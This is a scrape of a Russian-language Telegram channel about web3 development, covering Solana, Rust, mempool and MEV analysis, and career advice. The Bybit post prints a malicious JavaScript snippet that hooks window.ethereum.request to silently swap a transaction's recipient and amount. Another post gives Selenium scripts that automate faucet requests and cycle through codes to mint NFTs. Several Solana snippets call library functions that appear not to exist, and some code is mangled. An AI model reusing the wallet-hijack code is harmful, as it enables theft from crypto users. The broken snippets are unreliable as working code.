VARTCALL – Telegram
VARTCALL
2.3K subscribers
648 photos
13 videos
21 files
589 links
web3 разработка, философия, мысли, практика

по всем предложениям: @jerskrew

экосистема: @vartcode
Download Telegram
🔫 Смарт-Контракты Solana - ДЕКОНСТРУКЦИЯ

Смарт-контракты в Solana отличаются от контрактов в Ethereum и других EVM-совместимых блокчейнах.

> Они называются программами и работают в безсостоячном режиме.

> Данные хранятся отдельно в аккаунтах, а не внутри самого смарт-контракта.


🐑 Состав Смарт-Конктракта Solana:

Смарт-Контракты - скомпилированный код, развернутый в блокчейне.

😱 Они выполняются виртуальной машиной BPF (Berkeley Packet Filter).

В Solana все данные хранятся в аккаунтах, а не внутри программы

🔧 Есть два типа аккаунтов:

> Executable Accounts - аккаунты, содержащие скомпилированную программу.

> Data Accounts - аккаунты для хранения состояния.


Инструкции - команды, отправляемые в смарт-контракт ⬇️

Аналогичны вызовам функций в Ethereum.

Транзакции - группы инструкций, выполняемые в одной атомарной операции.


😐 Напишем такой Смарт-Контракт:

Используем seahorse - DSL, который компилируется в Rust для Solana.

pip install seahorse-lang

Пишем смарт-контракт, который хранит число:

from seahorse.prelude import *

declare_id("5hWzF9Pb...") # адрес программы в Solana

class Counter(Account):
value: i64 # хранит число

@instruction
def initialize(owner: Signer, counter: Empty[Counter]):
counter.init(payer=owner, seeds=["counter"])
counter.value = 0

@instruction
def increment(owner: Signer, counter: Counter):
counter.value += 1


declare_id - объявляет ID программы.

Counter - аккаунт, хранящий число.

initialize - функция инициализации.

increment - функция увеличения числа.


Seahorse скомпилирует его в Rust и позволит деплоить в Solana.

seahorse build - компиляция в Rust

Развернуть через Solana CLI

solana program deploy target/deploy/my_program.so


Ваши ИДЕИ на следующий МОЩНЫЙ разбор?
Please open Telegram to view this post
VIEW IN TELEGRAM
🤩4👍3🔥2🐳1🍓1
😰 BYBIT - Разбираемся

похитили около 401 346 ETH ≈ $1,46 млрд

Что произошло?

использовась технику подмены интерфейса пользователя (UI spoofing), что позволило получить доступ к одному из холодных кошельков Ethereum биржи.

😎 Хакеры манипулировали процессом подписания транзакций, подменяя данные таким образом, что участники видели корректный адрес получателя, но фактически подтверждали измененную транзакцию.


Как это реализовывается?

Добавляется JavaScript-код на сайте или в расширении кошелька, который: ⬇️

> Перехватывает и изменяет отображаемые пользователю данные

> Меняет содержимое транзакции перед подписью

🎹 Подмена адреса получателя

Когда пользователь инициирует перевод, злоумышленник изменяет отображаемый адрес на подлинный (биржи), но перед подписанием транзакции он меняется на адрес хакера.


🤔 Пример реализации через JavaScript

// Вредоносный код в расширении браузера или на фишинговом сайте
document.getElementById("recipient-address").value = "0xCorrectAddress"; // Подлинный адрес
document.getElementById("amount").value = "10";

// Перехват перед подписанием
window.ethereum.request = async (args) => {
if (args.method === "eth_sendTransaction") {
let tx = args.params[0];
console.log("Оригинальная транзакция:", tx);

// Подмена адреса получателя на адрес хакера
tx.to = "0xHackerAddress";

console.log("Измененная транзакция:", tx);
return originalEthereumRequest({ method: "eth_sendTransaction", params: [tx] });
}

return originalEthereumRequest(args);

};


Код отображает жертве "правильный" адрес, но перед подписанием транзакции изменяет его на адрес хакера.

Подмена Суммы Перевода:

tx.value = "0xde0b6b3a7640000"; // 1 ETH вместо 0.1 ETH


В нашем случае хакеры могли внедрить код в интерфейс биржи или кошелька, который перехватывал и изменял отображаемые пользователю данные. Это могло быть достигнуто через компрометацию веб-сайта биржи, использование фишинговых сайтов или вредоносных расширений браузера.

Что делать? 🔫

> нам, как юзерам не держать все на биржах, использовать базовую диверсификацию

ну и ☔️

> Включаем Google Authenticator 2FA и отключить SMS.

> Настроить белый список адресов для вывода.

> Проверить URL перед входом в аккаунт.

> Регулярно проверяйте активность аккаунта (IP)


ваши МЫСЛИ?
Please open Telegram to view this post
VIEW IN TELEGRAM
🐳62🔥1💘1
☺️ ПАМП-ФАН | Пишем СОФТ

Функционал

1⃣ Отслеживание недавно созданных токенов на Pump.fun

2⃣ Фильтрация по количеству минтеров, ликвидности, цене

3⃣ Выдача сигналов о перспективных мемах.

для получения данных будем использовать сторонний апи - pumpportal.fun

pip install requests


Параметры

import requests
import time

# URL для получения данных о новых токенах

API_URL = "https://pumpportal.fun/api/new-tokens"

# пороговые значения для фильтрации

MIN_MINTERS = 100 # Минимальное количество минтеров
MIN_LIQUIDITY = 10 # Минимальная ликвидность в SOL
MIN_PRICE = 0.001 # Минимальная цена в SOL
MAX_PRICE = 1 # Максимальная цена в SOL

# интервал проверки (в секундах)

CHECK_INTERVAL = 60


Получение данных о новых токенах

def fetch_new_tokens():
try:
response = requests.get(API_URL)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
print(f"Ошибка при получении данных: {e}")
return []


Фильтрации токенов по заданным критериям

def filter_tokens(tokens):
filtered = []
for token in tokens:
minters = token.get('minters', 0)
liquidity = token.get('liquidity', 0)
price = token.get('price', 0)

if (minters >= MIN_MINTERS and
liquidity >= MIN_LIQUIDITY and
MIN_PRICE <= price <= MAX_PRICE):
filtered.append(token)
return filtered


Основной Цикл МОНИТОРИНГА

def main():
print("Запуск мониторинга новых мемкоинов на Pump.fun...")
while True:
tokens = fetch_new_tokens()
if tokens:
filtered_tokens = filter_tokens(tokens)
for token in filtered_tokens:
notify(token)
else:
print("Нет новых токенов или ошибка при получении данных.")

time.sleep(CHECK_INTERVAL)

if name == "main":
main()


Кратко расписал как это будет выглядеть

😠 Далее можно добавлять:

> более точные критерии отбора токенов

> отслеживать ранних минтеров

> настроить лимиты на покупку

> И самое интересное проверять механизмы блокировки продаж в смарт-контракте + исключать токены с высоким налогом на продажу (sell tax).


ВАШИ МЫСЛИ?
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤‍🔥32🤩2💅1
🙏 Закрытый Club, Buddy

создал канал, где мы будем развивать web3 сообщество, билдить, изучать и становиться лушче

forms.gle/bbf2Cecu9Bovq2gj9

Первый Набор - 10 человек, далее будем расширяться

💵 Вход: $БЕСПЛАТНО

Всем Удачи 🪑
Please open Telegram to view this post
VIEW IN TELEGRAM
🤩8😍7🔥5
🤵‍♂️ ВЫСОКОПРОИЗВОДИТЕЛЬНЫЕ транзакции Solana + Python

как Solana обрабатывает транзы: ⬇️

Параллелизм:

Solana использует модель Sealevel, что позволяет выполнять независимые транзакции параллельно.

Счета (Accounts) 💰

Транзакции блокируются, если пытаются одновременно модифицировать один и тот же счет.

Приоритизация (Prioritization Fees)

Solana позволяет пользователям платить дополнительные комиссии, чтобы увеличить шансы включения транзакции в блок.


👍 Для максимальной производительности “избегаем” конкуренции за доступ к счетам и используем prioritization fees.

Сегодня для большей эффективности используем solders

solders работает в 5-10 раз быстрее при обработке транзакций, чем solana-py, за счет прямых биндингов к Rust.

😐 solders позволяет быстро формировать транзакции без лишних зависимостей.

Асинхронные запросы в solders позволяют отправлять сотни транзакций в секунду 😐


pip install solders

подключаем либы

from solders.rpc.api import Client
from solders.keypair import Keypair
from solders.pubkey import Pubkey
from solders.transaction import Transaction
from solders.instruction import Instruction
from solders.message import Message
from solders.system_program import transfer
from solders.commitment_config import CommitmentLevel


🍷 Подключение к RPC и генерация ключей

# подключаемся к Solana RPC

RPC_URL = "https://api.mainnet-beta.solana.com"
client = Client(RPC_URL)

# генерим ключи (или загружаем существующие)

sender_keypair = Keypair()
receiver_pubkey = Pubkey.from_string("адрес_получателя")

print(f"Отправитель: {sender_keypair.pubkey()}")
print(f"Получатель: {receiver_pubkey}")


Создание и подпись транзакции

# получаем актуальный блокхеш

latest_blockhash = client.get_latest_blockhash(commitment=CommitmentLevel.Finalized).value

# создаем инструкцию перевода 0.001 SOL ((

instruction = transfer(sender_keypair.pubkey(), receiver_pubkey, 1000000)

# формируем транзу

message = Message([instruction], sender_keypair.pubkey())
transaction = Transaction(message, [sender_keypair], latest_blockhash)


🔧 Отправка транзакции с приоритетными комиссиями


prioritization_fee = 5000  # устанавливаем дополнительную комиссию

# добавляем fee payer и приоритетные комиссии

transaction = transaction.set_fee_payer(sender_keypair.pubkey())
transaction = transaction.set_prioritization_fee(prioritization_fee)

# подписываем транзу

transaction = transaction.sign([sender_keypair])

# отправляем транзу

response = client.send_transaction(transaction)

print("Транзакция отправлена:", response)


Приоритетные комиссии позволяют увеличить вероятность включения транзакции в блок.

Параллельная отправка транзакций (asyncio)

import asyncio
from solders.rpc.api import AsyncClient

async def send_transaction_async(tx, client):
async with AsyncClient(RPC_URL) as async_client:
return await async_client.send_transaction(tx)

async def main():
tasks = [send_transaction_async(transaction, client) for _ in range(10)] # Отправляем 10 транзакций параллельно
results = await asyncio.gather(*tasks)
print(results)

asyncio.run(main())


🧃 Используем Durable Nonces

во избежания устаревания blockhash, используем durable nonce:

# генерим nonce-аккаунт

nonce_account = Keypair()
txn = Transaction(
Message([transfer(sender_keypair.pubkey(), nonce_account.pubkey(), 1000000)]),
[sender_keypair],
latest_blockhash
)

client.send_transaction(txn) # отправляем транзакцию для создания nonce-аккаунта

# используем nonce в будущих транзакциях

nonce_value = client.get_account_info(nonce_account.pubkey()).value
txn = txn.set_recent_blockhash(nonce_value)


😴 Durable Nonces позволяют избежать ошибок при высокой нагрузке.

В результате, мы получаем максимальную производительность наших Solana транзакций!! 😜


ЧТО РАЗБИРАЕМ ДАЛЕЕ?? ИДЕИ, МЫСЛИ 🔥 💀
Please open Telegram to view this post
VIEW IN TELEGRAM
9🔥4🤩4😍2💘1
😱 SOLANA | Ускоряем запросы + минимизируем затраты

Высокая нагрузка на RPC приводит к 🐺

> Медленной обработке транзакций.

> Большому числу ограничений на запросы.

> Увеличению затрат при использовании платных RPC.

🤷‍♂️ Как работают RPC-запросы в Solana

Solana использует JSON-RPC API для работы с блокчейном

Основные запросы:

getAccountInfo – получение данных о кошельке или смарт-контракте.

getProgramAccounts – поиск всех аккаунтов, связанных с программой.

getTransaction – получение информации о транзакции.

simulateTransaction – эмуляция транзакции перед отправкой.


эти запросы могут нагружать RPC, если их делать неправильно

🥳 УСКОРЯЕМ RPC

Используем solders вместо solana-py

она быстрее, т.к использует Rust-биндинги вместо чистого Python + больше безопасности и сериализация транзакций

2. WebSockets вместо REST

REST-запросы к RPC - лишние расходы.

Вместо этого можно подписываться на события через WebSockets, чтобы получать обновления мгновенно, без лишних запросов))


например подписка на обновления баланса кошелька через WebSockets

import asyncio
from solders.rpc.websocket import SolanaWsClient

async def listen_to_account_changes():
async with SolanaWsClient("wss://api.mainnet-beta.solana.com") as ws:
subnoscription_id = await ws.account_subscribe("PublicKey")

async for msg in ws:
print("Account update:", msg)



asyncio.run(listen_to_account_changes())


3.Кеширование (Redis)

Частые запросы к getAccountInfo или getTransaction можно кешировать.

кеширования баланса через Redis

import redis
import json
from solders.rpc.api import Client
from solders.pubkey import Pubkey

client = Client("https://api.mainnet-beta.solana.com")
redis_client = redis.Redis(host='localhost', port=6379, db=0)

def get_cached_balance(wallet):
cache_key = f"solana_balance:{wallet}"
cached_data = redis_client.get(cache_key)

if cached_data:
return json.loads(cached_data)

balance = client.get_balance(Pubkey.from_string(wallet)).value
redis_client.setex(cache_key, 60, json.dumps(balance)) # Кешируем на 60 сек
return balance

wallet = "PublicKey"
print(get_cached_balance(wallet))


4.Самый ГЕНИАЛЬНЫЙ СПОСОБ - Полигамия RPC

используем несколько узлов и переключаться между ними.

выбор случайного RPC

import random
from solders.rpc.api import Client

RPC_NODES = [
"https://api.mainnet-beta.solana.com",
"https://solana-mainnet.rpcfast.com",
"https://your-private-rpc.com"
]

def get_rpc_client():
rpc_url = random.choice(RPC_NODES)
return Client(rpc_url)

client = get_rpc_client()
print(client.get_slot().value)


Меньше rate limits

Резервный RPC на случай отказа узла.


вот такой СТАРТОВЫЙ СПИСОК!! КАК ВЫ Работаете с ОПТИМИЗАЦИЕЙ??
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6😍5🔥4🤩1💘1
😐 Monad РАЗБЕРЕМ Софт

что за monad?

monad.xyz

L1 совместимый с EVM, разработан для решения проблем масштабируемости и эффективности

параллельное выполнение транзакций и оптимизированная база данных MonadDB, сеть способна обрабатывать до 10 000 транзакций в секунду при времени блока в 0,5 секунды и почти нулевых комиссиях за газ.


🥳 сейчас проект запустил тестнет, но мы что нормисы, чтобы без софта это делать??

СЕГОДНЯ РАЗБЕРЕМ ЧТО ДА КАК!!!

1. Запрос Токенов на testnet.monad.xyz

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import time

WALLET_ADDRESS = "0xКошелек”

# настройка WebDriver

options = webdriver.ChromeOptions()
options.add_argument("--headless") # Запуск без графического интерфейса

driver = webdriver.Chrome(options=options)

def request_tokens():
try:

Открываем страницу крана
driver.get("https://testnet.monad.xyz/")
time.sleep(3) # Ждем загрузки

# находим поле ввода и вводим адрес кошелька
input_field = driver.find_element(By.XPATH, "//input[@type='text']")
input_field.send_keys(WALLET_ADDRESS)
time.sleep(1)

# Нажимаем кнопку запроса токенов
request_button = driver.find_element(By.XPATH, "//button[contains(text(), 'Request Testnet ETH')]")
request_button.click()

print(" Запрос тестовых токенов отправлен!")
except Exception as e:
print(" Ошибка при запросе токенов:", e)
finally:
driver.quit()

# запускаем
request_tokens()


Далее

Переходим на сайт и коннектим кошелёк

Вводим код: 7AA0B | 2B2EB | C51B2 | C24B6 | C26D0


Минтим Rookie NFT

CODES = [
"7AA0B", "2B2EB", "C51B2", "C24B6", "C26D0"
]

options = webdriver.ChromeOptions()
options.add_argument("--headless")

driver = webdriver.Chrome(options=options)

def mint_nft():
try:

driver.get("https://monad.talentum.id/projects")
time.sleep(3) # ждем загрузки

for code in CODES:
try:
print(f" Пробуем код: {code}")

# находим поле ввода кода и вводим его
input_field = driver.find_element(By.XPATH, "//input[@type='text']")
input_field.clear()
input_field.send_keys(code)
time.sleep(1)

# нажимаем кнопку подтверждения
submit_button = driver.find_element(By.XPATH, "//button[contains(text(), 'Submit')]" )
submit_button.click()
time.sleep(5) # ждем ответа

# проверяем, появилась ли кнопка "Mint Rookie NFT"
try:
mint_button = driver.find_element(By.XPATH, "//button[contains(text(), 'Mint Rookie NFT')]")
mint_button.click()
print(" NFT успешно заминчен!")
break # Прекращаем цикл, если удалось заминтить
except:
print(f" Код {code} не сработал, пробуем следующий...")
except Exception as e:
print(f" Ошибка с кодом {code}: {e}")
finally:
driver.quit()
print("🚀 Скрипт завершил работу.")

#Запуск

mint_nft()


Задачи из гайда я брал тут 🤛

Думаю ПОРА написать ПОЛНОЦЕННЫЙ СОФТ!!

КАК ВАМ ИДЕЯ, ГАЙС????
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥196😍3💘1
🥰 СТРУКТУРА СОФТА PYTHON

универсальная структура для написания ботов, скриптов для блокчейна, арбитражных ботов etc

🤩 main.py – Точка входа в программу. Здесь инициализация сервисов и запуск основных процессов.


- config.py – Хранит основные параметры - RPC-эндпоинты, используемые сети, комиссии и т. д.

- utils/logger.pyНастройка логирования через logging для отладки и мониторинга. 👊

- utils/encryption.py – Безопасная работа с приватными ключами (хранение в .env и дешифрование при запуске)

- services/eth_service.py - Функции для взаимодействия с Ethereum через web3.py

- bots/arbitrage_bot.py - Код арбитражного бота, отслеживающего спреды между биржами.

- tests/Unit-тесты, чтобы проверить работоспособность кода 💰


🥇 Переменные Окружение

.env файлы

PRIVATE_KEY=0x123456789...
INFURA_API=https://mainnet.infura.io/v3/айди-проекта
TELEGRAM_BOT_TOKEN=your_bot_token


Загружаем переменные через python-dotenv:

from dotenv import load_dotenv
import os

load_dotenv()

PRIVATE_KEY = os.getenv("PRIVATE_KEY")
INFURA_API = os.getenv("INFURA_API")


Управление Зависимостями

В requirements.txt и фиксируем зависимости:

web3
python-dotenv
requests
pandas
pytelegrambotapi


🍷 Устанавливаем

pip install -r requirements.txt


Ну и на финал запускаем через Docker

DockerFile

FROM python:3.12
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
CMD ["python", "main.py"]


далее сборка и запуск

docker build -t crypto_project .
docker run --env-file .env crypto_project


🧃 В результате у нас чистая структура проекта, модульность и удобства для масштабирования и возможность быстрого тестирования!!

ВАШИ ДОПОЛНЕНИЯ ??!!!
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥14😍7🔥6💘1
✏️ ПИШЕМ СОФТ С НУЛЯ

как же стартануть в написании скриптов, РАЗБИРАЕМСЯ

☺️ ОСНОВЫ ПРОГРАММИРОВАНИЯ

Python & JavaScript - шикарные решения для старта в крипто-разработки

Питон хорош для написания ботов, автоматизации и работы с API бирж 🤵‍♂️ ⬇️

✏️ JavaScript (TypeScript) – нужен для взаимодействия со смарт-контрактами и написания фронтенда для DApps.


javanoscript.info

learnpython.org

Прекрасные ресурсы для изучения языков, но без практики никуда

w3resource.com/python-exercises - Задачи на Пайтон

jschallenger.com - Задачи на JS

Задачи 👍

Python: основы синтаксиса, ООП, работа с модулями, обработка ошибок.

JavaScript/TypeScript: основы JS, промисы, async/await, работа с API.


☕️ Подключение к Блокчейну

web3.py - Python

ethers.js - JS

Благодаря этим библиотекам мы смотрем подключиться к блокчейну Ethereum и другим EVM и взаимодействовать с ними

🤩 ДЛЯ полного взаимодействия у нас должна быть НОДА!

Поэтому получаем ключ к ней на

infura.io ИЛИ alchemy.com

😱 НАПИСАНИЕ Скриптов

Начинаем Применять наши знания на практике, мои гайды тому пример

Ethers.js с нуля

web3.py с нуля

КАК ВАМ ТАКОЙ СПИСОК?? Разработчики, добавьте что-то от себя!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥114❤‍🔥4💘1
🤫 “Скрытые” механики блокчейна

разбираем базу каждого блокчейн-разработчика

😂 Mempool – зона ожидания транзакций

Прежде чем транзакция попадет в блок, она отправляется в mempool – это своего рода «очередь» неподтвержденных транзакций.


Как это?

> Узлы сети принимают транзакции и хранят их в mempool.

> Майнеры/валидаторы выбирают транзакции из mempool для включения в следующий блок.

> Транзакции с высокими комиссиями (gas fee) имеют приоритет.


Как Пайтон анализирует МемПул ?

разберем код для отслеживания транзакций

from web3 import Web3

w3 = Web3(Web3.HTTPProvider("https://mainnet.infura.io/v3/INFURA_KEY"))

def watch_mempool():
while True:
pending_transactions = w3.eth.get_block('pending', full_transactions=True)
for tx in pending_transactions.transactions:
print(f"Транзакция {tx.hash.hex()} с gas price {tx.gasPrice}")

watch_mempool()


😭 Зачем ?

> Выявлять крупные транзакции перед их подтверждением.

> Анализировать, какие комиссии актуальны для быстрой отправки.

> Предугадывать атаки типа frontrunning.


👊 Frontrunning боты

перехватывают твои сделки

Frontrunning - когда кто-то (например, MEV-боты) замечает выгодную сделку в mempool и вставляет свою транзакцию перед ней.

Как?

1⃣ Ты отправляешь транзакцию на покупку токена с высокой ликвидностью.

2⃣ Бот видит твою транзакцию в mempool и отправляет свою раньше с чуть более высоким gas fee.

3⃣ Бот скупает токены раньше тебя и перепродает их по более высокой цене.

Пайтон поможет??

пробуем анализировать транзакции, которые быстро следуют друг за другом с похожими параметрами.

скрипт на поиск подозрительных транзакций

def detect_frontrunning():
pending_transactions = w3.eth.get_block('pending', full_transactions=True)

tx_map = {}
for tx in pending_transactions.transactions:
sender = tx['from']
to = tx['to']
amount = tx['value']

if (to, amount) in tx_map:
print(f"⚠️ Возможный фронтраннинг! Отправитель {sender} повторяет транзакцию.")
tx_map[(to, amount)] = sender

detect_frontrunning()


😐 Что делать с этими данными?

1⃣ Фильтровать мемпул на предмет подозрительных ботов.

2⃣ Настраивать защиту в своих смарт-контрактах.

3⃣ Опережать ботов, если ты делаешь арбитраж.


🏋️ MEV - невидимый рынок внутри блокчейна

MEV (Maximal Extractable Value) – дополнительная прибыль, которую майнеры/валидаторы и боты могут извлечь за счет изменения порядка транзакций в блоке.

Кто использует MEV? 🤬

> Frontrunning-боты

> Sandwich-атаки

> Арбитражные боты, которые используют разницу цен на DEX.


ПАЙТОН - используем для анализила блоков и поиска подозрительных групп транзакций.

def check_mev_transactions(block_number):
block = w3.eth.get_block(block_number, full_transactions=True)
txs = block.transactions

for i in range(len(txs) - 1):
if txs[i]['to'] == txs[i + 1]['to'] and txs[i]['value'] < txs[i + 1]['value']:
print(f"⚠️ MEV подозрение: {txs[i].hash.hex()} -> {txs[i + 1].hash.hex()}")


check_mev_transactions("latest")


Зачем ?

1⃣ Можно искать закономерности в транзакциях.

2⃣ Можно разрабатывать стратегии защиты от MEV-атак.

ЧТО РАЗБЕРЕМ ДАЛЕЕ? 💰
Please open Telegram to view this post
VIEW IN TELEGRAM
9❤‍🔥2🔥1🐳1💘1
🔥 250 ДНЕЙ В КРИПТО-РАЗРАБОТКИ

https://youtu.be/YqYLqtAWOok

Поддержите активностью!
👍112🔥2
😌 Разаберем Rust – идеальный ли язык для блокчейн-разработки??

Rust в последние годы набирает популярность в крипто-разработке, особенно среди высокопроизводительных блокчейнов, таких как Solana, NEAR, Polkadot и Substrate

РАЗБИРАЕМ

1. Безопасность Памяти 😘

Rust обеспечивает memory safety без необходимости в garbage collector (GC), что критически важно для блокчейнов, где даже небольшие задержки могут приводить к высокому расходу газа или уязвимостям.

🔧 Rust сочетает безопасность памяти (как в Solidity) с высокой производительностью без GC (как C++), что делает его идеальным для блокчейнов.
2. Скорость 🏆

Rust компилируется в машинный код, не использует интерпретатор (как Python) или виртуальную машину (как Solidity), а значит, работает максимально быстро.

3. Что писать?? 🍪

На Rust можно разрабатывать не только смарт-контракты, но и:

> DeFi-приложения (Solana, NEAR)

> Layer-2 решения (ZK-rollups, state channels)

> Блокчейн-клиенты (Ethereum, Polkadot)

> Боты для арбитража и трейдинга

> Криптографические библиотеки (шифрование, подписи)


Видимо Rust — это C++ для блокчейнов, но без боли и багов.

Если писать безопасные и быстрые смарт-контракты, Rust - следовательно неплохой выбор 🤬

WEB3 X Rust 😮

ethers-rs - Web3-клиент для Ethereum и EVM-совместимых блокчейнов.
(подписывать и отправлять транзакции, взаимодействовать с контрактами)

solana-sdk - Библиотека для работы с Solana.
(писать программы и управлять аккаунтами)

substrate-api-client - Rust API для работы с Polkadot/Substrate.
(управления узлами и контрактами)


КАК ВАМ РАСТ? 👊
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13❤‍🔥3🏆3💘1
🗣 вот и лайф

Написали скрипты, теперь можно и развеяться

Как вы проводите воскресенье? Ваши идеи на следующие видео, посты 🙏
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
11🔥3💅1
🤨 Rust СКРИПТЫ с чего начать?

1. Получение баланса ETH

Этот скрипт подключается к Ethereum (через Infura/Alchemy), получает баланс кошелька и выводит его.

Библиотека: ethers-rs

cargo add ethers

👊 СКРИПТ

use ethers::prelude::*;
use std::convert::TryFrom;
use tokio;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let provider = Provider::<Http>::try_from("https://mainnet.infura.io/v3/INFURA_KEY")?;
   
    let address: Address = "0x742d35Cc6634C0532925a3b844Bc454e4438f44e".parse()?;
    let balance = provider.get_balance(address, None).await?;

    println!("Баланс: {} ETH", balance);
    Ok(())
}

💻 Вывод: Баланс кошелька в WEI.

2. Отправка транзакции в Ethereum 💰

скрипт отправляет ETH на указанный адрес.

😕 ethers-rs

СКРИПТ

use ethers::prelude::*;
use std::convert::TryFrom;
use tokio;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let provider = Provider::<Http>::try_from("https://mainnet.infura.io/v3/INFURA_KEY")?;
    let wallet: LocalWallet = "PRIVATE_KEY".parse::<LocalWallet>()?.with_chain_id(1);
    let client = SignerMiddleware::new(provider.clone(), wallet);

    let to: Address = "0xRecipientAddressHere".parse()?;
    let tx = TransactionRequest::new()
        .to(to)
        .value(ethers::utils::parse_ether(0.01)?) // 0.01 ETH
        .gas_price(provider.get_gas_price().await?);

    let pending_tx = client.send_transaction(tx, None).await?;
    let tx_hash = pending_tx.tx_hash();

    println!("Отправлено! Tx hash: {:?}", tx_hash);
    Ok(())
}

😭 Вывод - Хэш транзакции в сети.

3. Чтение данных из смарт-контракта (ERC-20 баланс)

Этот скрипт получает баланс токена ERC-20 у пользователя.

ethers-rs

USDT - 0xdAC17F958D2ee523a2206206994597C13D831ec7


СКРИПТ

use ethers::prelude::*;
use std::convert::TryFrom;
use tokio;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let provider = Provider::<Http>::try_from("https://mainnet.infura.io/v3/INFURA_KEY")?;
   
    let erc20 = "0xdAC17F958D2ee523a2206206994597C13D831ec7".parse::<Address>()?;
    let user = "0x742d35Cc6634C0532925a3b844Bc454e4438f44e".parse::<Address>()?;

    let abi: Abi = serde_json::from_str(include_str!("erc20_abi.json"))?;
    let contract = Contract::new(erc20, abi, provider.clone());

    let balance: U256 = contract.method("balanceOf", user)?.call().await?;
    println!("Баланс USDT: {} USDT", balance);
    Ok(())
}

😭 Вывод: Баланс токена USDT у указанного пользователя.

ВОТ ТАКОЕ НАЧАЛО??

КАК ВАМ РАСТ??

ИДЕИ??
Please open Telegram to view this post
VIEW IN TELEGRAM
11👍4🤩2
🎮 ИЩЕМ РАБОТУ В WEB3? Guide

разбираем где и как искать работу блокчейн-разработчикам

Контрибуть в open-source

1⃣ Берем любой популярный web3 проект - Ethers.js, Hardhat, Foundry, Solidity, Ethereum, L2-решений

2⃣ Заходим в issue, смотрим, какие задачи можно решить.

3⃣ Читаем чужой код - понимаем, как работают крупные проекты.

4⃣ Контрибь – попадаешь на радары.


Свой pet-проект и популяризация в Twitter/Reddit/Telegram

Блокчейн = код + медийка.

Твой GitHub + Twitter (X) + Telegram = твое резюме.

ПЛАН 😭

Пилить DeFi-контракты, арбитражных ботов, NFT-дропы, L2-плагины. ⬇️

> Расписывать процесс разработки в тредах в Twitter / писать посты в Telegram.

> Делать видосы – записывай свой код с объяснением.


например 🤔

Я написал арбитражного бота на Python -> выложил GitHub + Telegram пост -> Кто-то увидел -> предложил контракт или работу 🤬


DAO и комьюнити-хакатоны

Работодатели в крипте ищут людей внутри комьюнити.

Как попасть?

Gitcoin, ETHGlobal, Encode Club - хакатоны и гранты

🤬 Arbitrum, Optimism, Polygon, zkSync - у всех есть гранты для разработчиков.

Участвуем в обсуждениях в Discord/Twitter/Telegram у топовых криптопроектов

Заходим в Lens, Farcaster, Warpcast - новые соцсети для крипторазработчиков 🤳


😐 Фриланс через Web3-платформы

Questbook - гранты, задания.

Cryptojobslist - площадка с вакансиями и фриланс-заказами в крипто.

🐺 Ethlance - децентрализованная фриланс-биржа на Ethereum.

LaborX – платформа с крипто-оплатами в USDT, ETH etc.


✏️ Работа через Discord и Telegram

Twitter + Discord = главные HR-платформы крипты

Подаёмся не через сайты, а через комьюнити.

Где искать?

CryptoJobsList, Remote3, Web3.career - доски вакансий

🤫 Discord серверы Solana, Ethereum, zkSync, Polygon, Starknet - ИЩЕМ "we're hiring".

Вот так, больше кода, гайс, больше проектов, больше видимости

🤟 СИЯЕМ!!

Разбираем тему далее?? ИДЕИИИ!!
Please open Telegram to view this post
VIEW IN TELEGRAM
🤩19🐳6👍5🔥4💘2
🧑‍🌾 WEB3 ПЕТ-ПРОЕКТЫ Разбираем

🐈 Pet-project - личный (не коммерческий) проект, который ты создаешь для изучения технологий, прокачки навыков и создания портфолио.


разбираем такие проекты:

1⃣ Web3 Dashboard для Отслеживания Портфеля

Создаем DApp, которое подключается к кошельку (MetaMask, WalletConnect) и показывает баланс токенов, стейкинг, доходность фарминга, транзакции и другие метрики 💻

Технологии: TypeScript, Next.js, Ethers.js / Viem, The Graph

💰 Фичи:

> Автоподключение к кошельку

> История транзакций

> Анализ доходности

> Поддержка нескольких сетей


2⃣ Блокчейн-бот для Аукционов NFT

⌚️ Бот, отслеживает новые NFT-аукционы на OpenSea / Blur и уведомляет пользователя о самых перспективных лотах.

Python (Web3.py), Solidity, OpenSea API, Telegram Bot API

💪 Фичи:

> Подключение к NFT-маркетплейсам

> Оценка ликвидности коллекций

> Автоматическое размещение ставок

> Уведомления в Telegram


3⃣ Web3 Чат с Крипто-Платежами

🤫 Чат, где можно отправлять сообщения и платить за них криптой.

Solidity, React, IPFS, WalletConnect

Фичи:

> Отправка сообщений через IPFS

> Оплата через smart-contract

> Поддержка ENS 🪙


4⃣ DAO-инструмент для Голосования

Создаем платформу для управления DAO с возможностью голосования и управления токенами.

Solidity (Governor контракт), React, Ethers.js, Hardhat

☕️ Фичи:

> Поддержка голосования на основе токенов

> Гибкие правила голосования

> Подключение к Snapshot / Aragon


5⃣ On-Chain Игровой NFT Маркетплейс

🤬 Маркетплейс для игровых NFT с возможностью P2P-торговли и ставок.

🤣 Solidity (ERC-721 / ERC-1155), Next.js, IPFS, The Graph

Фичи:

> Выставление NFT на продажу

> On-chain аукционы

> Подключение к OpenSea

🧠 ЗАЧЕМ??

Изучение технологий - прокачиваем Solidity, Ethers.js, Web3.py, Hardhat, Foundry и другие инструменты 🥤

💼 Создание портфолио - можно показать работодателю или инвесторам

🤩 Развитие идеи - успешный pet-project можно превратить в стартап.

Проверка концепции - можем тестировать новые механики, например, новые модели токеномики 🎉


Реализация пет-проектов - ключ к понимаю технологий, с которыми мы работаем

ПОРА ДЕЛАТЬ 📞

Предлагаю реализовать один из таковых тут! Как вам? 🔥
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16😍5🐳42💘1